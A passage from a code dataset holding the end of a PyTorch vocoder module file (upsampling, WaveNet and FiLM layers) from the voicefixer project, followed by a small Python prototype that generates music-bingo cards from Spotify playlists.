batch needs to be processed differently\n            for idx in range(f0_values.shape[0]):\n                temp_sum = tmp_cumsum[idx, u_loc[idx, :, 0], :]\n                temp_sum[1:, :] = temp_sum[1:, :] - temp_sum[0:-1, :]\n                # stores the accumulation of i.phase within\n                # each voiced segments\n                tmp_cumsum[idx, :, :] = 0\n                tmp_cumsum[idx, u_loc[idx, :, 0], :] = temp_sum\n\n            # rad_values - tmp_cumsum: remove the accumulation of i.phase\n            # within the previous voiced segment.\n            i_phase = torch.cumsum(rad_values - tmp_cumsum, dim=1)\n\n            # get the sines\n            sines = torch.cos(i_phase * 2 * np.pi)\n        return sines\n\n    def forward(self, f0):\n        \"\"\"sine_tensor, uv = forward(f0)\n        input F0: tensor(batchsize=1, length, dim=1)\n                  f0 for unvoiced steps should be 0\n        output sine_tensor: tensor(batchsize=1, length, dim)\n        output uv: tensor(batchsize=1, length, 1)\n        \"\"\"\n\n        with torch.no_grad():\n            f0_buf = torch.zeros(f0.shape[0], f0.shape[1], self.dim, device=f0.device)\n            # fundamental component\n            f0_buf[:, :, 0] = f0[:, :, 0]\n            for idx in np.arange(self.harmonic_num):\n                # idx + 2: the (idx+1)-th overtone, (idx+2)-th harmonic\n                f0_buf[:, :, idx + 1] = f0_buf[:, :, 0] * (idx + 2)\n\n            # generate sine waveforms\n            sine_waves = self._f02sine(f0_buf) * self.sine_amp\n\n            # generate uv signal\n            # uv = torch.ones(f0.shape)\n            # uv = uv * (f0 > self.voiced_threshold)\n            uv = self._f02uv(f0)\n\n            # noise: for unvoiced should be similar to sine_amp\n            #        std = self.sine_amp/3 -> max value ~ self.sine_amp\n            # .       for voiced regions is self.noise_std\n            noise_amp = uv * self.noise_std + (1 - uv) * self.sine_amp / 3\n            noise = noise_amp * torch.randn_like(sine_waves)\n\n            # first: set the unvoiced part to 0 by uv\n            # then: additive noise\n            sine_waves = sine_waves * uv + noise\n        return sine_waves, uv, noise\n\n\nclass LowpassBlur(nn.Module):\n    \"\"\"perform low pass filter after upsampling for anti-aliasing\"\"\"\n\n    def __init__(self, channels=128, filt_size=3, pad_type=\"reflect\", pad_off=0):\n        super(LowpassBlur, self).__init__()\n        self.filt_size = filt_size\n        self.pad_off = pad_off\n        self.pad_sizes = [\n            int(1.0 * (filt_size - 1) / 2),\n            int(np.ceil(1.0 * (filt_size - 1) / 2)),\n        ]\n        self.pad_sizes = [pad_size + pad_off for pad_size in self.pad_sizes]\n        self.off = 0\n        self.channels = channels\n\n        if self.filt_size == 1:\n            a = np.array(\n                [\n                    1.0,\n                ]\n            )\n        elif self.filt_size == 2:\n            a = np.array([1.0, 1.0])\n        elif self.filt_size == 3:\n            a = np.array([1.0, 2.0, 1.0])\n        elif self.filt_size == 4:\n            a = np.array([1.0, 3.0, 3.0, 1.0])\n        elif self.filt_size == 5:\n            a = np.array([1.0, 4.0, 6.0, 4.0, 1.0])\n        elif self.filt_size == 6:\n            a = np.array([1.0, 5.0, 10.0, 10.0, 5.0, 1.0])\n        elif self.filt_size == 7:\n            a = np.array([1.0, 6.0, 15.0, 20.0, 15.0, 6.0, 1.0])\n\n        filt = torch.Tensor(a)\n        filt = filt / torch.sum(filt)\n        self.register_buffer(\"filt\", filt[None, None, :].repeat((self.channels, 1, 1)))\n\n        self.pad = get_pad_layer_1d(pad_type)(self.pad_sizes)\n\n    def forward(self, inp):\n        if self.filt_size == 1:\n            return inp\n        return F.conv1d(self.pad(inp), self.filt, groups=inp.shape[1])\n\n\ndef get_pad_layer_1d(pad_type):\n    if pad_type in [\"refl\", \"reflect\"]:\n        PadLayer = nn.ReflectionPad1d\n    elif pad_type in [\"repl\", \"replicate\"]:\n        PadLayer = nn.ReplicationPad1d\n    elif pad_type == \"zero\":\n        PadLayer = nn.ZeroPad1d\n    else:\n        print(\"Pad type [%s] not recognized\" % pad_type)\n    return PadLayer\n\n\nclass MovingAverageSmooth(torch.nn.Conv1d):\n    def __init__(self, channels, window_len=3):\n        \"\"\"Initialize Conv1d module.\"\"\"\n        super(MovingAverageSmooth, self).__init__(\n            in_channels=channels,\n            out_channels=channels,\n            kernel_size=1,\n            groups=channels,\n            bias=False,\n        )\n\n        torch.nn.init.constant_(self.weight, 1.0 / window_len)\n        for p in self.parameters():\n            p.requires_grad = False\n\n    def forward(self, data):\n        return super(MovingAverageSmooth, self).forward(data)\n\n\nclass Conv1d(torch.nn.Conv1d):\n    \"\"\"Conv1d module with customized initialization.\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"Initialize Conv1d module.\"\"\"\n        super(Conv1d, self).__init__(*args, **kwargs)\n\n    def reset_parameters(self):\n        \"\"\"Reset parameters.\"\"\"\n        torch.nn.init.kaiming_normal_(self.weight, nonlinearity=\"relu\")\n        if self.bias is not None:\n            torch.nn.init.constant_(self.bias, 0.0)\n\n\nclass Stretch2d(torch.nn.Module):\n    \"\"\"Stretch2d module.\"\"\"\n\n    def __init__(self, x_scale, y_scale, mode=\"nearest\"):\n        \"\"\"Initialize Stretch2d module.\n        Args:\n            x_scale (int): X scaling factor (Time axis in spectrogram).\n            y_scale (int): Y scaling factor (Frequency axis in spectrogram).\n            mode (str): Interpolation mode.\n        \"\"\"\n        super(Stretch2d, self).__init__()\n        self.x_scale = x_scale\n        self.y_scale = y_scale\n        self.mode = mode\n\n    def forward(self, x):\n        \"\"\"Calculate forward propagation.\n        Args:\n            x (Tensor): Input tensor (B, C, F, T).\n        Returns:\n            Tensor: Interpolated tensor (B, C, F * y_scale, T * x_scale),\n        \"\"\"\n        return F.interpolate(\n            x, scale_factor=(self.y_scale, self.x_scale), mode=self.mode\n        )\n\n\nclass Conv2d(torch.nn.Conv2d):\n    \"\"\"Conv2d module with customized initialization.\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"Initialize Conv2d module.\"\"\"\n        super(Conv2d, self).__init__(*args, **kwargs)\n\n    def reset_parameters(self):\n        \"\"\"Reset parameters.\"\"\"\n        self.weight.data.fill_(1.0 / np.prod(self.kernel_size))\n        if self.bias is not None:\n            torch.nn.init.constant_(self.bias, 0.0)\n\n\nclass UpsampleNetwork(torch.nn.Module):\n    \"\"\"Upsampling network module.\"\"\"\n\n    def __init__(\n        self,\n        upsample_scales,\n        nonlinear_activation=None,\n        nonlinear_activation_params={},\n        interpolate_mode=\"nearest\",\n        freq_axis_kernel_size=1,\n        use_causal_conv=False,\n    ):\n        \"\"\"Initialize upsampling network module.\n        Args:\n            upsample_scales (list): List of upsampling scales.\n            nonlinear_activation (str): Activation function name.\n            nonlinear_activation_params (dict): Arguments for specified activation function.\n            interpolate_mode (str): Interpolation mode.\n            freq_axis_kernel_size (int): Kernel size in the direction of frequency axis.\n        \"\"\"\n        super(UpsampleNetwork, self).__init__()\n        self.use_causal_conv = use_causal_conv\n        self.up_layers = torch.nn.ModuleList()\n        for scale in upsample_scales:\n            # interpolation layer\n            stretch = Stretch2d(scale, 1, interpolate_mode)\n            self.up_layers += [stretch]\n\n            # conv layer\n            assert (\n                freq_axis_kernel_size - 1\n            ) % 2 == 0, \"Not support even number freq axis kernel size.\"\n            freq_axis_padding = (freq_axis_kernel_size - 1) // 2\n            kernel_size = (freq_axis_kernel_size, scale * 2 + 1)\n            if use_causal_conv:\n                padding = (freq_axis_padding, scale * 2)\n            else:\n                padding = (freq_axis_padding, scale)\n            conv = Conv2d(1, 1, kernel_size=kernel_size, padding=padding, bias=False)\n            self.up_layers += [conv]\n\n            # nonlinear\n            if nonlinear_activation is not None:\n                nonlinear = getattr(torch.nn, nonlinear_activation)(\n                    **nonlinear_activation_params\n                )\n                self.up_layers += [nonlinear]\n\n    def forward(self, c):\n        \"\"\"Calculate forward propagation.\n        Args:\n            c : Input tensor (B, C, T).\n        Returns:\n            Tensor: Upsampled tensor (B, C, T'), where T' = T * prod(upsample_scales).\n        \"\"\"\n        c = c.unsqueeze(1)  # (B, 1, C, T)\n        for f in self.up_layers:\n            if self.use_causal_conv and isinstance(f, Conv2d):\n                c = f(c)[..., : c.size(-1)]\n            else:\n                c = f(c)\n        return c.squeeze(1)  # (B, C, T')\n\n\nclass ConvInUpsampleNetwork(torch.nn.Module):\n    \"\"\"Convolution + upsampling network module.\"\"\"\n\n    def __init__(\n        self,\n        upsample_scales=[3, 4, 5, 5],\n        nonlinear_activation=\"ReLU\",\n        nonlinear_activation_params={},\n        interpolate_mode=\"nearest\",\n        freq_axis_kernel_size=1,\n        aux_channels=80,\n        aux_context_window=0,\n        use_causal_conv=False,\n    ):\n        \"\"\"Initialize convolution + upsampling network module.\n        Args:\n            upsample_scales (list): List of upsampling scales.\n            nonlinear_activation (str): Activation function name.\n            nonlinear_activation_params (dict): Arguments for specified activation function.\n            mode (str): Interpolation mode.\n            freq_axis_kernel_size (int): Kernel size in the direction of frequency axis.\n            aux_channels (int): Number of channels of pre-convolutional layer.\n            aux_context_window (int): Context window size of the pre-convolutional layer.\n            use_causal_conv (bool): Whether to use causal structure.\n        \"\"\"\n        super(ConvInUpsampleNetwork, self).__init__()\n        self.aux_context_window = aux_context_window\n        self.use_causal_conv = use_causal_conv and aux_context_window > 0\n        # To capture wide-context information in conditional features\n        kernel_size = (\n            aux_context_window + 1 if use_causal_conv else 2 * aux_context_window + 1\n        )\n        # NOTE(kan-bayashi): Here do not use padding because the input is already padded\n        self.conv_in = Conv1d(\n            aux_channels, aux_channels, kernel_size=kernel_size, bias=False\n        )\n        self.upsample = UpsampleNetwork(\n            upsample_scales=upsample_scales,\n            nonlinear_activation=nonlinear_activation,\n            nonlinear_activation_params=nonlinear_activation_params,\n            interpolate_mode=interpolate_mode,\n            freq_axis_kernel_size=freq_axis_kernel_size,\n            use_causal_conv=use_causal_conv,\n        )\n\n    def forward(self, c):\n        \"\"\"Calculate forward propagation.\n        Args:\n            c : Input tensor (B, C, T').\n        Returns:\n            Tensor: Upsampled tensor (B, C, T),\n                where T = (T' - aux_context_window * 2) * prod(upsample_scales).\n        Note:\n            The length of inputs considers the context window size.\n        \"\"\"\n        c_ = self.conv_in(c)\n        c = c_[:, :, : -self.aux_context_window] if self.use_causal_conv else c_\n        return self.upsample(c)\n\n\nclass DownsampleNet(nn.Module):\n    def __init__(self, input_size, output_size, upsample_factor, hp=None, index=0):\n        super(DownsampleNet, self).__init__()\n        self.input_size = input_size\n        self.output_size = output_size\n        self.upsample_factor = upsample_factor\n        self.skip_conv = nn.Conv1d(input_size, output_size, kernel_size=1)\n        self.index = index\n        layer = nn.Conv1d(\n            input_size,\n            output_size,\n            kernel_size=upsample_factor * 2,\n            stride=upsample_factor,\n            padding=upsample_factor // 2 + upsample_factor % 2,\n        )\n\n        self.layer = nn.utils.weight_norm(layer)\n\n    def forward(self, inputs):\n        B, C, T = inputs.size()\n        res = inputs[:, :, :: self.upsample_factor]\n        skip = self.skip_conv(res)\n\n        outputs = self.layer(inputs)\n        outputs = outputs + skip\n\n        return outputs\n\n\nclass UpsampleNet(nn.Module):\n    def __init__(self, input_size, output_size, upsample_factor, hp=None, index=0):\n\n        super(UpsampleNet, self).__init__()\n        self.up_type = Config.up_type\n        self.use_smooth = Config.use_smooth\n        self.use_drop = Config.use_drop\n        self.input_size = input_size\n        self.output_size = output_size\n        self.upsample_factor = upsample_factor\n        self.skip_conv = nn.Conv1d(input_size, output_size, kernel_size=1)\n        self.index = index\n        if self.use_smooth:\n            window_lens = [5, 5, 4, 3]\n            self.window_len = window_lens[index]\n\n        if self.up_type != \"pn\" or self.index < 3:\n            # if self.up_type != \"pn\":\n            layer = nn.ConvTranspose1d(\n                input_size,\n                output_size,\n                upsample_factor * 2,\n                upsample_factor,\n                padding=upsample_factor // 2 + upsample_factor % 2,\n                output_padding=upsample_factor % 2,\n            )\n            self.layer = nn.utils.weight_norm(layer)\n        else:\n            self.layer = nn.Sequential(\n                nn.ReflectionPad1d(1),\n                nn.utils.weight_norm(\n                    nn.Conv1d(input_size, output_size * upsample_factor, kernel_size=3)\n                ),\n                nn.LeakyReLU(),\n                nn.ReflectionPad1d(1),\n                nn.utils.weight_norm(\n                    nn.Conv1d(\n                        output_size * upsample_factor,\n                        output_size * upsample_factor,\n                        kernel_size=3,\n                    )\n                ),\n                nn.LeakyReLU(),\n                nn.ReflectionPad1d(1),\n                nn.utils.weight_norm(\n                    nn.Conv1d(\n                        output_size * upsample_factor,\n                        output_size * upsample_factor,\n                        kernel_size=3,\n                    )\n                ),\n                nn.LeakyReLU(),\n            )\n\n        if hp is not None:\n            self.org = Config.up_org\n            self.no_skip = Config.no_skip\n        else:\n            self.org = False\n            self.no_skip = True\n\n        if self.use_smooth:\n            self.mas = nn.Sequential(\n                # LowpassBlur(output_size, self.window_len),\n                MovingAverageSmooth(output_size, self.window_len),\n                # MovingAverageSmooth(output_size, self.window_len),\n            )\n\n    def forward(self, inputs):\n\n        if not self.org:\n            inputs = inputs + torch.sin(inputs)\n            B, C, T = inputs.size()\n            res = inputs.repeat(1, self.upsample_factor, 1).view(B, C, -1)\n            skip = self.skip_conv(res)\n            if self.up_type == \"repeat\":\n                return skip\n\n        outputs = self.layer(inputs)\n        if self.up_type == \"pn\" and self.index > 2:\n            B, c, l = outputs.size()\n            outputs = outputs.view(B, -1, l * self.upsample_factor)\n\n        if self.no_skip:\n            return outputs\n\n        if not self.org:\n            outputs = outputs + skip\n\n        if self.use_smooth:\n            outputs = self.mas(outputs)\n\n        if self.use_drop:\n            outputs = F.dropout(outputs, p=0.05)\n\n        return outputs\n\n\nclass ResStack(nn.Module):\n    def __init__(self, channel, kernel_size=3, resstack_depth=4, hp=None):\n        super(ResStack, self).__init__()\n\n        self.use_wn = Config.use_wn\n        self.use_shift_scale = Config.use_shift_scale\n        self.channel = channel\n\n        def get_padding(kernel_size, dilation=1):\n            return int((kernel_size * dilation - dilation) / 2)\n\n        if self.use_shift_scale:\n            self.scale_conv = nn.utils.weight_norm(\n                nn.Conv1d(\n                    channel, 2 * channel, kernel_size=kernel_size, dilation=1, padding=1\n                )\n            )\n\n        if not self.use_wn:\n            self.layers = nn.ModuleList(\n                [\n                    nn.Sequential(\n                        nn.LeakyReLU(),\n                        nn.utils.weight_norm(\n                            nn.Conv1d(\n                                channel,\n                                channel,\n                                kernel_size=kernel_size,\n                                dilation=3 ** (i % 10),\n                                padding=get_padding(kernel_size, 3 ** (i % 10)),\n                            )\n                        ),\n                        nn.LeakyReLU(),\n                        nn.utils.weight_norm(\n                            nn.Conv1d(\n                                channel,\n                                channel,\n                                kernel_size=kernel_size,\n                                dilation=1,\n                                padding=get_padding(kernel_size, 1),\n                            )\n                        ),\n                    )\n                    for i in range(resstack_depth)\n                ]\n            )\n        else:\n            self.wn = WaveNet(\n                in_channels=channel,\n                out_channels=channel,\n                cin_channels=-1,\n                num_layers=resstack_depth,\n                residual_channels=channel,\n                gate_channels=channel,\n                skip_channels=channel,\n                # kernel_size=5,\n                # dilation_rate=3,\n                causal=False,\n                use_downup=False,\n            )\n\n    def forward(self, x):\n        if not self.use_wn:\n            for layer in self.layers:\n                x = x + layer(x)\n        else:\n            x = self.wn(x)\n\n        if self.use_shift_scale:\n            m_s = self.scale_conv(x)\n            m_s = m_s[:, :, :-1]\n\n            m, s = torch.split(m_s, self.channel, dim=1)\n            s = F.softplus(s)\n\n            x = m + s * x[:, :, 1:]  # key!!!\n            x = F.pad(x, pad=(1, 0), mode=\"constant\", value=0)\n\n        return x\n\n\nclass WaveNet(nn.Module):\n    def __init__(\n        self,\n        in_channels=1,\n        out_channels=1,\n        num_layers=10,\n        residual_channels=64,\n        gate_channels=64,\n        skip_channels=64,\n        kernel_size=3,\n        dilation_rate=2,\n        cin_channels=80,\n        hp=None,\n        causal=False,\n        use_downup=False,\n    ):\n        super(WaveNet, self).__init__()\n\n        self.in_channels = in_channels\n        self.causal = causal\n        self.num_layers = num_layers\n        self.out_channels = out_channels\n        self.gate_channels = gate_channels\n        self.residual_channels = residual_channels\n        self.skip_channels = skip_channels\n        self.cin_channels = cin_channels\n        self.kernel_size = kernel_size\n        self.use_downup = use_downup\n\n        self.front_conv = nn.Sequential(\n            nn.Conv1d(\n                in_channels=self.in_channels,\n                out_channels=self.residual_channels,\n                kernel_size=3,\n                padding=1,\n            ),\n            nn.ReLU(),\n        )\n        if self.use_downup:\n            self.downup_conv = nn.Sequential(\n                nn.Conv1d(\n                    in_channels=self.residual_channels,\n                    out_channels=self.residual_channels,\n                    kernel_size=3,\n                    stride=2,\n                    padding=1,\n                ),\n                nn.ReLU(),\n                nn.Conv1d(\n                    in_channels=self.residual_channels,\n                    out_channels=self.residual_channels,\n                    kernel_size=3,\n                    stride=2,\n                    padding=1,\n                ),\n                nn.ReLU(),\n                UpsampleNet(self.residual_channels, self.residual_channels, 4, hp),\n            )\n\n        self.res_blocks = nn.ModuleList()\n        for n in range(self.num_layers):\n            self.res_blocks.append(\n                ResBlock(\n                    self.residual_channels,\n                    self.gate_channels,\n                    self.skip_channels,\n                    self.kernel_size,\n                    dilation=dilation_rate**n,\n                    cin_channels=self.cin_channels,\n                    local_conditioning=(self.cin_channels > 0),\n                    causal=self.causal,\n                    mode=\"SAME\",\n                )\n            )\n        self.final_conv = nn.Sequential(\n            nn.ReLU(),\n            Conv(self.skip_channels, self.skip_channels, 1, causal=self.causal),\n            nn.ReLU(),\n            Conv(self.skip_channels, self.out_channels, 1, causal=self.causal),\n        )\n\n    def forward(self, x, c=None):\n        return self.wavenet(x, c)\n\n    def wavenet(self, tensor, c=None):\n\n        h = self.front_conv(tensor)\n        if self.use_downup:\n            h = self.downup_conv(h)\n        skip = 0\n        for i, f in enumerate(self.res_blocks):\n            h, s = f(h, c)\n            skip += s\n        out = self.final_conv(skip)\n        return out\n\n    def receptive_field_size(self):\n        num_dir = 1 if self.causal else 2\n        dilations = [2 ** (i % self.num_layers) for i in range(self.num_layers)]\n        return (\n            num_dir * (self.kernel_size - 1) * sum(dilations)\n            + 1\n            + (self.front_channels - 1)\n        )\n\n    def remove_weight_norm(self):\n        for f in self.res_blocks:\n            f.remove_weight_norm()\n\n\nclass Conv(nn.Module):\n    def __init__(\n        self,\n        in_channels,\n        out_channels,\n        kernel_size,\n        dilation=1,\n        causal=False,\n        mode=\"SAME\",\n    ):\n        super(Conv, self).__init__()\n\n        self.causal = causal\n        self.mode = mode\n        if self.causal and self.mode == \"SAME\":\n            self.padding = dilation * (kernel_size - 1)\n        elif self.mode == \"SAME\":\n            self.padding = dilation * (kernel_size - 1) // 2\n        else:\n            self.padding = 0\n        self.conv = nn.Conv1d(\n            in_channels,\n            out_channels,\n            kernel_size,\n            dilation=dilation,\n            padding=self.padding,\n        )\n        self.conv = nn.utils.weight_norm(self.conv)\n        nn.init.kaiming_normal_(self.conv.weight)\n\n    def forward(self, tensor):\n        out = self.conv(tensor)\n        if self.causal and self.padding is not 0:\n            out = out[:, :, : -self.padding]\n        return out\n\n    def remove_weight_norm(self):\n        nn.utils.remove_weight_norm(self.conv)\n\n\nclass ResBlock(nn.Module):\n    def __init__(\n        self,\n        in_channels,\n        out_channels,\n        skip_channels,\n        kernel_size,\n        dilation,\n        cin_channels=None,\n        local_conditioning=True,\n        causal=False,\n        mode=\"SAME\",\n    ):\n        super(ResBlock, self).__init__()\n        self.causal = causal\n        self.local_conditioning = local_conditioning\n        self.cin_channels = cin_channels\n        self.mode = mode\n\n        self.filter_conv = Conv(\n            in_channels, out_channels, kernel_size, dilation, causal, mode\n        )\n        self.gate_conv = Conv(\n            in_channels, out_channels, kernel_size, dilation, causal, mode\n        )\n        self.res_conv = nn.Conv1d(out_channels, in_channels, kernel_size=1)\n        self.skip_conv = nn.Conv1d(out_channels, skip_channels, kernel_size=1)\n        self.res_conv = nn.utils.weight_norm(self.res_conv)\n        self.skip_conv = nn.utils.weight_norm(self.skip_conv)\n\n        if self.local_conditioning:\n            self.filter_conv_c = nn.Conv1d(cin_channels, out_channels, kernel_size=1)\n            self.gate_conv_c = nn.Conv1d(cin_channels, out_channels, kernel_size=1)\n            self.filter_conv_c = nn.utils.weight_norm(self.filter_conv_c)\n            self.gate_conv_c = nn.utils.weight_norm(self.gate_conv_c)\n\n    def forward(self, tensor, c=None):\n        h_filter = self.filter_conv(tensor)\n        h_gate = self.gate_conv(tensor)\n\n        if self.local_conditioning:\n            h_filter += self.filter_conv_c(c)\n            h_gate += self.gate_conv_c(c)\n\n        out = torch.tanh(h_filter) * torch.sigmoid(h_gate)\n\n        res = self.res_conv(out)\n        skip = self.skip_conv(out)\n        if self.mode == \"SAME\":\n            return (tensor + res) * math.sqrt(0.5), skip\n        else:\n            return (tensor[:, :, 1:] + res) * math.sqrt(0.5), skip\n\n    def remove_weight_norm(self):\n        self.filter_conv.remove_weight_norm()\n        self.gate_conv.remove_weight_norm()\n        nn.utils.remove_weight_norm(self.res_conv)\n        nn.utils.remove_weight_norm(self.skip_conv)\n        nn.utils.remove_weight_norm(self.filter_conv_c)\n        nn.utils.remove_weight_norm(self.gate_conv_c)\n\n\n@torch.jit.script\ndef fused_add_tanh_sigmoid_multiply(input_a, input_b, n_channels):\n    n_channels_int = n_channels[0]\n    in_act = input_a + input_b\n    t_act = torch.tanh(in_act[:, :n_channels_int])\n    s_act = torch.sigmoid(in_act[:, n_channels_int:])\n    acts = t_act * s_act\n    return acts\n\n\n@torch.jit.script\ndef fused_res_skip(tensor, res_skip, n_channels):\n    n_channels_int = n_channels[0]\n    res = res_skip[:, :n_channels_int]\n    skip = res_skip[:, n_channels_int:]\n    return (tensor + res), skip\n\n\nclass ResStack2D(nn.Module):\n    def __init__(self, channels=16, kernel_size=3, resstack_depth=4, hp=None):\n        super(ResStack2D, self).__init__()\n        channels = 16\n        kernel_size = 3\n        resstack_depth = 2\n        self.channels = channels\n\n        def get_padding(kernel_size, dilation=1):\n            return int((kernel_size * dilation - dilation) / 2)\n\n        self.layers = nn.ModuleList(\n            [\n                nn.Sequential(\n                    nn.LeakyReLU(),\n                    nn.utils.weight_norm(\n                        nn.Conv2d(\n                            1,\n                            self.channels,\n                            kernel_size,\n                            dilation=(1, 3 ** (i)),\n                            padding=(1, get_padding(kernel_size, 3 ** (i))),\n                        )\n                    ),\n                    nn.LeakyReLU(),\n                    nn.utils.weight_norm(\n                        nn.Conv2d(\n                            self.channels,\n                            self.channels,\n                            kernel_size,\n                            dilation=(1, 3 ** (i)),\n                            padding=(1, get_padding(kernel_size, 3 ** (i))),\n                        )\n                    ),\n                    nn.LeakyReLU(),\n                    nn.utils.weight_norm(nn.Conv2d(self.channels, 1, kernel_size=1)),\n                )\n                for i in range(resstack_depth)\n            ]\n        )\n\n    def forward(self, tensor):\n        x = tensor.unsqueeze(1)\n        for layer in self.layers:\n            x = x + layer(x)\n        x = x.squeeze(1)\n\n        return x\n\n\nclass FiLM(nn.Module):\n    \"\"\"\n    feature-wise linear modulation\n    \"\"\"\n\n    def __init__(self, input_dim, attribute_dim):\n        super().__init__()\n        self.input_dim = input_dim\n        self.generator = nn.Conv1d(\n            attribute_dim, input_dim * 2, kernel_size=3, padding=1\n        )\n\n    def forward(self, x, c):\n        \"\"\"\n        x: (B, input_dim, seq)\n        c: (B, attribute_dim, seq)\n        \"\"\"\n        c = self.generator(c)\n        m, s = torch.split(c, self.input_dim, dim=1)\n\n        return x * s + m\n\n\nclass FiLMConv1d(nn.Module):\n    \"\"\"\n    Conv1d with FiLMs in between\n    \"\"\"\n\n    def __init__(self, in_size, out_size, attribute_dim, ins_norm=True, loop=1):\n        super().__init__()\n        self.loop = loop\n        self.mlps = nn.ModuleList(\n            [nn.Conv1d(in_size, out_size, kernel_size=3, padding=1)]\n            + [\n                nn.Conv1d(out_size, out_size, kernel_size=3, padding=1)\n                for i in range(loop - 1)\n            ]\n        )\n        self.films = nn.ModuleList([FiLM(out_size, attribute_dim) for i in range(loop)])\n        self.ins_norm = ins_norm\n        if self.ins_norm:\n            self.norm = nn.InstanceNorm1d(attribute_dim)\n\n    def forward(self, x, c):\n        \"\"\"\n        x: (B, input_dim, seq)\n        c: (B, attribute_dim, seq)\n        \"\"\"\n        if self.ins_norm:\n            c = self.norm(c)\n        for i in range(self.loop):\n            x = self.mlps[i](x)\n            x = F.relu(x)\n            x = self.films[i](x, c)\n\n        return x\n","repo_name":"haoheliu/voicefixer","sub_path":"voicefixer/vocoder/model/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":32158,"program_lang":"python","lang":"en","doc_type":"code","stars":741,"dataset":"github-code","pt":"18"}
{"seq_id":"33573572848","text":"import os\nimport sys\nimport glob\nimport random\nimport logging\nimport argparse\nfrom os import path, makedirs, environ\nfrom card_generator import create_card\nfrom spotipy import SpotifyClientCredentials, Spotify, SpotifyException\n\nlogging.basicConfig(stream=sys.stderr, level=logging.WARNING)\n\nauth_manager = SpotifyClientCredentials(\n    environ[\"SPOTIFY_CLIENT_ID\"], environ[\"SPOTIFY_CLIENT_SECRET\"]\n)\nspotify = Spotify(auth_manager=auth_manager)\nPLAYLIST_URL = (\n    \"https://open.spotify.com/playlist/5tl7iMYPGspVvMgryoA2HS?si=3812eee2d17a4cc5\"\n)\n# playlist = spotify.playlist(PLAYLIST_URL)\n\n# NUM_SONGS = playlist[\"tracks\"][\"total\"]\n\nPLAYLISTS = [\n    \"https://open.spotify.com/playlist/02Ze53FXXBgaSTfB9jpV1N?si=1a29aeb0e6b94621\",  # 70s 1\n    \"https://open.spotify.com/playlist/2ZXxE8nsKuXplbOGVXRmk7?si=3508c19bb14343b0\",  # 80s 1\n    \"https://open.spotify.com/playlist/4akSDZd9ppJx6LEhpWUXnJ?si=dce9d73d30714749\",  # 90s 1\n    \"https://open.spotify.com/playlist/4WSK9EZdrSmVn94oh9fC0F?si=489fe486218b462c\",  # 00s 1\n    \"https://open.spotify.com/playlist/340iasv2MTZsqAJBZHvScl?si=da6837376dd94468\",  # 00s 2\n    \"https://open.spotify.com/playlist/6m9nAnMWZZ37nKqb8VxgT3?si=1ab09f9777c6417d\",  # 10s 1\n    \"https://open.spotify.com/playlist/18i1CLpGUR1F0zl4IEWsOm?si=548426d4703d4b24\",  # 10s 2\n    \"https://open.spotify.com/playlist/312n27j1xsU0Ee1NkyDdFw?si=0cca0803da4f44b2\",  # 10s 3\n]\n\n\ndef get_song_list(playlist_url: str) -> list:\n    \"\"\"Retrieves a Spotify playlist\n\n    Args:\n        playlist_url: the url of the desired playlist\n\n    Returns:\n        a list of tuples (title, artist) for the entire playlist\n    \"\"\"\n    song_list = []\n    results = spotify.playlist_tracks(playlist_url)\n    tracks = results[\"items\"]\n    while results[\"next\"]:\n        results = spotify.next(results)\n        tracks.extend(results[\"items\"])\n\n    for song in tracks:\n        artists = \"\"\n        for artist in song[\"track\"][\"artists\"]:\n            artists += artist[\"name\"] + \", \"\n        artists = artists[:-2]\n\n        song_list.append((song[\"track\"][\"name\"], artists))\n    return song_list\n\n\ndef generate_24_numbers(playlist: int = None) -> list:\n    \"\"\"Generates 24 unique numbers within the range of the playlist\n\n    Returns:\n        a list of numbers\n    \"\"\"\n    url = PLAYLISTS[playlist] if playlist is not None else PLAYLIST_URL\n    num_songs = spotify.playlist(url)[\"tracks\"][\"total\"]\n\n    nums = []\n    div, mod = divmod(num_songs, 5)\n\n    for i in range(5):\n        nums.extend(\n            random.sample(\n                range(i * div + min(i, mod), (i + 1) * div + min(i + 1, mod)),\n                5 if i != 2 else 4,\n            )\n        )\n\n    return nums\n\n\ndef split_list(list_: list, n: int) -> list:\n    \"\"\" \"Splits a list into n (roughly) equal lists\n\n    Args:\n        list_: desired list to split\n        n: number of desired sublists\n    Returns:\n        list of n sublists\n    \"\"\"\n    div, mod = divmod(len(list_), n)\n\n    return [\n        list_[i * div + min(i, mod) : (i + 1) * div + min(i + 1, mod)] for i in range(n)\n    ]\n\n\ndef add_custom_playlist(url: str) -> bool:\n    try:\n        spotify.playlist(PLAYLIST_URL)\n    except SpotifyException:\n        return False\n\n    PLAYLISTS.append(url)\n    return True\n\n\ndef generate_card(seed: int = None, playlist: int = None) -> int:\n    \"\"\"Generates a bingo card\n\n    Args:\n        seed: seed to use for card generation\n\n    Returns:\n        the seed of the generated bingo card\n    \"\"\"\n    if seed:\n        random.seed(int(seed))\n    else:\n        seed = random.randint(1000000, 99999999)\n        logging.info(f\"Seed: {seed}\")\n        random.seed(seed)\n\n    nums = generate_24_numbers(playlist)\n    logging.info(f\"{nums}\")\n\n    song_list = get_song_list(\n        PLAYLISTS[playlist] if playlist is not None else PLAYLIST_URL\n    )\n\n    # Shuffle list in a repeatable manner (i.e. shuffle the same way every time)\n    random.Random(1).shuffle(song_list)\n\n    card_songs = []\n    for num in nums:\n        card_songs.append(song_list[num])\n\n    if not path.exists(\"output/\"):\n        makedirs(\"output/\")\n\n    # Remove previous generated bingo cards\n    files = glob.glob(\"output/*.jpg\")\n    for f in files:\n        os.remove(f)\n\n    create_card(card_songs).save(f\"output/bingo_card-{seed}.jpg\")\n    return int(seed)\n\n\nif __name__ == \"__main__\":\n    logging.getLogger().setLevel(logging.INFO)\n\n    parser = argparse.ArgumentParser(description=\"Generate seed and grid.\")\n    parser.add_argument(\"--load\", dest=\"seed\", action=\"store\")\n\n    args = parser.parse_args()\n\n    seed = generate_card(args.seed)\n","repo_name":"Scault/music-bingo","sub_path":"prototype.py","file_name":"prototype.py","file_ext":"py","file_size_in_byte":4572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
